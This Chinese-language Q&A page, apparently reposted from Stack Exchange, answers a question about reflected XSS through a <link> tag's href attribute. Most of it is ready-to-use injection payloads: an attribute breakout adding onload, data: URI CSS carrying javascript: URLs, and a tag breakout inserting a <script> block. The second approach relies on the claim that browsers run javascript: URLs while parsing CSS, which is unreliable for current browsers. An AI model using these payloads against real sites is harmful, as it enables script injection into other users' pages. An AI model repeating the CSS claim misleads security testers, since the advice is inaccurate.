CSS导入型反射XSS测试遇阻,求有效Payload解决方案
构造可触发XSS的有效Payload方案
由于你的输入参数被直接插入到<link>标签的href属性中,普通的javascript:alert(1)无法触发是因为浏览器对CSS资源加载上下文的限制,需要针对CSS/link标签的特性构造Payload:
方案1:利用link标签的事件属性注入
构造Payload来闭合href的引号,然后添加可执行脚本的事件属性:
" onload="alert(1)"
注入后的HTML会变成:
<link rel="stylesheet" href="" onload="alert(1)" />
当link标签加载完成时,onload事件会触发并执行alert(1)。
方案2:利用Data URI加载恶意CSS
通过Data URI直接构造包含脚本的CSS内容,让浏览器解析CSS时触发XSS:
data:text/css,body{background-image:url(javascript:alert(1))}
或者使用CSS的@import语法:
data:text/css,@import'javascript:alert(1)'
这种方式是让link加载Data URI形式的CSS资源,CSS解析时会执行javascript:协议的代码。
方案3:闭合标签并插入脚本标签
如果浏览器允许标签闭合,也可以直接跳出link标签插入脚本:
"></link><script>alert(1)</script>
注入后的HTML结构会变成:
<link rel="stylesheet" href=""></link><script>alert(1)</script> />
脚本标签会被浏览器解析执行。
内容的提问来源于stack exchange,提问作者ali
相关产品推荐
相关产品推荐

